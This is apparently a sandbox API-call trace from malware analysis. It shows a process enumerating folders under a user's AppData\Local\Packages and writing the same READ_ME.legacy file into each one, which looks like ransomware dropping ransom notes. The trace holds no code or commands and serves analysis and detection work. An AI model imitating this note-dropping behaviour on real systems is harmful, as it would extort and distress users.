[0149.430] SetLastError (dwErrCode=0x12) [0149.430] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810 [0149.440] WriteFile (in: hFile=0x810, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.441] CloseHandle (hObject=0x810) returned 1 [0149.441] FindNextFileW (in: hFindFile=0x563ab8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b278594, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f99451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b278594, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0149.441] SetLastError (dwErrCode=0x0) [0149.441] GetLastError () returned 0x0 [0149.441] SetLastError (dwErrCode=0x0) [0149.441] GetLastError () returned 0x0 [0149.441] SetLastError (dwErrCode=0x0) [0149.441] SetLastError (dwErrCode=0x0) [0149.441] GetLastError () returned 0x0 [0149.442] SetLastError (dwErrCode=0x0) [0149.442] GetLastError () returned 0x0 [0149.442] SetLastError (dwErrCode=0x0) [0149.442] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810 [0149.446] WriteFile (in: hFile=0x810, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.447] CloseHandle (hObject=0x810) returned 1 [0149.447] FindNextFileW (in: hFindFile=0x563ab8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b1aa9e9, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f99cd3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b1aa9e9, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0149.447] SetLastError (dwErrCode=0x0) [0149.447] GetLastError () returned 0x0 [0149.447] SetLastError (dwErrCode=0x0) [0149.447] GetLastError () returned 0x0 [0149.447] SetLastError (dwErrCode=0x0) [0149.447] SetLastError (dwErrCode=0x0) [0149.447] GetLastError () returned 0x0 [0149.447] SetLastError (dwErrCode=0x0) [0149.447] GetLastError () returned 0x0 [0149.447] SetLastError (dwErrCode=0x0) [0149.447] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810 [0149.579] WriteFile (in: hFile=0x810, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.580] CloseHandle (hObject=0x810) returned 1 [0149.580] FindNextFileW (in: hFindFile=0x563ab8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b15e23b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f9a7db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b15e23b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0149.580] SetLastError (dwErrCode=0x0) [0149.580] GetLastError () returned 0x0 [0149.580] SetLastError (dwErrCode=0x0) [0149.580] GetLastError () returned 0x0 [0149.580] SetLastError (dwErrCode=0x0) [0149.580] SetLastError (dwErrCode=0x0) [0149.580] GetLastError () returned 0x0 [0149.580] SetLastError (dwErrCode=0x0) [0149.580] GetLastError () returned 0x0 [0149.580] SetLastError (dwErrCode=0x0) [0149.580] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810 [0149.581] WriteFile (in: hFile=0x810, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.582] CloseHandle (hObject=0x810) returned 1 [0149.582] FindNextFileW (in: hFindFile=0x563ab8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c4a569, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1c4a569, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1c4a569, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.582] SetLastError (dwErrCode=0x0) [0149.582] GetLastError () returned 0x0 [0149.582] SetLastError (dwErrCode=0x0) [0149.582] GetLastError () returned 0x0 [0149.582] SetLastError (dwErrCode=0x0) [0149.582] FindNextFileW (in: hFindFile=0x563ab8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b184650, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f9b11f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b184650, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0149.583] SetLastError (dwErrCode=0x0) [0149.583] GetLastError () returned 0x0 [0149.583] SetLastError (dwErrCode=0x0) [0149.583] GetLastError () returned 0x0 [0149.583] SetLastError (dwErrCode=0x0) [0149.583] SetLastError (dwErrCode=0x0) [0149.583] GetLastError () returned 0x0 [0149.583] SetLastError (dwErrCode=0x0) [0149.583] GetLastError () returned 0x0 [0149.583] SetLastError (dwErrCode=0x0) [0149.583] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810 [0149.583] WriteFile (in: hFile=0x810, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.584] CloseHandle (hObject=0x810) returned 1 [0149.584] FindNextFileW (in: hFindFile=0x563ab8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b1aa9e9, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x7114efb2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7114efb2, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0149.584] SetLastError (dwErrCode=0x0) [0149.584] GetLastError () returned 0x0 [0149.584] SetLastError (dwErrCode=0x0) [0149.584] GetLastError () returned 0x0 [0149.584] SetLastError (dwErrCode=0x0) [0149.584] SetLastError (dwErrCode=0x0) [0149.585] GetLastError () returned 0x0 [0149.585] SetLastError (dwErrCode=0x0) [0149.585] GetLastError () returned 0x0 [0149.585] SetLastError (dwErrCode=0x0) [0149.585] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810 [0149.645] WriteFile (in: hFile=0x810, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.645] CloseHandle (hObject=0x810) returned 1 [0149.645] FindNextFileW (in: hFindFile=0x563ab8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b92dcc4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8b92dcc4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8b92dcc4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0149.645] SetLastError (dwErrCode=0x0) [0149.646] GetLastError () returned 0x0 [0149.646] SetLastError (dwErrCode=0x0) [0149.646] GetLastError () returned 0x0 [0149.646] SetLastError (dwErrCode=0x0) [0149.646] SetLastError (dwErrCode=0x0) [0149.646] GetLastError () returned 0x0 [0149.646] SetLastError (dwErrCode=0x0) [0149.646] GetLastError () returned 0x0 [0149.646] SetLastError (dwErrCode=0x0) [0149.646] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810 [0149.647] WriteFile (in: hFile=0x810, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.648] CloseHandle (hObject=0x810) returned 1 [0149.648] FindNextFileW (in: hFindFile=0x563ab8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b184650, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc901f585, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b184650, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0149.648] SetLastError (dwErrCode=0x0) [0149.648] GetLastError () returned 0x0 [0149.648] SetLastError (dwErrCode=0x0) [0149.648] GetLastError () returned 0x0 [0149.648] SetLastError (dwErrCode=0x0) [0149.648] SetLastError (dwErrCode=0x0) [0149.648] GetLastError () returned 0x0 [0149.648] SetLastError (dwErrCode=0x0) [0149.648] GetLastError () returned 0x0 [0149.648] SetLastError (dwErrCode=0x0) [0149.648] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810 [0149.648] WriteFile (in: hFile=0x810, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.649] CloseHandle (hObject=0x810) returned 1 [0149.649] FindNextFileW (in: hFindFile=0x563ab8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b184650, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc901f585, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b184650, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0149.649] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\ActiveSync\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1206ac31, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1206ac31, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe1c4a569, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563eb8 [0149.649] SetLastError (dwErrCode=0x12) [0149.649] GetLastError () returned 0x12 [0149.650] SetLastError (dwErrCode=0x12) [0149.650] GetLastError () returned 0x12 [0149.650] SetLastError (dwErrCode=0x12) [0149.650] FindNextFileW (in: hFindFile=0x563eb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1206ac31, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1206ac31, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe1c4a569, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.650] SetLastError (dwErrCode=0x12) [0149.650] GetLastError () returned 0x12 [0149.650] SetLastError (dwErrCode=0x12) [0149.650] GetLastError () returned 0x12 [0149.650] SetLastError (dwErrCode=0x12) [0149.650] FindNextFileW (in: hFindFile=0x563eb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1206ac31, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1206ac31, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x120dd386, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0149.650] SetLastError (dwErrCode=0x12) [0149.650] GetLastError () returned 0x12 [0149.650] SetLastError (dwErrCode=0x12) [0149.650] GetLastError () returned 0x12 [0149.650] SetLastError (dwErrCode=0x12) [0149.650] SetLastError (dwErrCode=0x12) [0149.650] GetLastError () returned 0x12 [0149.650] SetLastError (dwErrCode=0x12) [0149.650] SetLastError (dwErrCode=0x12) [0149.650] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\ActiveSync\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\activesync\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814 [0149.651] WriteFile (in: hFile=0x814, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.651] CloseHandle (hObject=0x814) returned 1 [0149.651] FindNextFileW (in: hFindFile=0x563eb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c4a569, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1c4a569, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1c70a8f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.652] SetLastError (dwErrCode=0x0) [0149.652] GetLastError () returned 0x0 [0149.652] SetLastError (dwErrCode=0x0) [0149.652] GetLastError () returned 0x0 [0149.652] SetLastError (dwErrCode=0x0) [0149.652] FindNextFileW (in: hFindFile=0x563eb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c4a569, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1c4a569, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1c70a8f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0149.652] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe20e8e26, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563a78 [0149.652] FindNextFileW (in: hFindFile=0x563a78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe20e8e26, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.652] FindNextFileW (in: hFindFile=0x563a78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0149.652] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0149.725] WriteFile (in: hFile=0x818, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.726] CloseHandle (hObject=0x818) returned 1 [0149.726] FindNextFileW (in: hFindFile=0x563a78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83e18337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0149.726] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0149.727] WriteFile (in: hFile=0x818, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.728] CloseHandle (hObject=0x818) returned 1 [0149.729] FindNextFileW (in: hFindFile=0x563a78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83e18337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0149.729] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0149.729] WriteFile (in: hFile=0x818, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.730] CloseHandle (hObject=0x818) returned 1 [0149.731] FindNextFileW (in: hFindFile=0x563a78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83df20d8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83df20d8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0149.731] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0149.731] WriteFile (in: hFile=0x818, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.732] CloseHandle (hObject=0x818) returned 1 [0149.732] FindNextFileW (in: hFindFile=0x563a78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe20e8e26, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe20e8e26, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe20e8e26, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.733] FindNextFileW (in: hFindFile=0x563a78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83df20d8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83df20d8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, 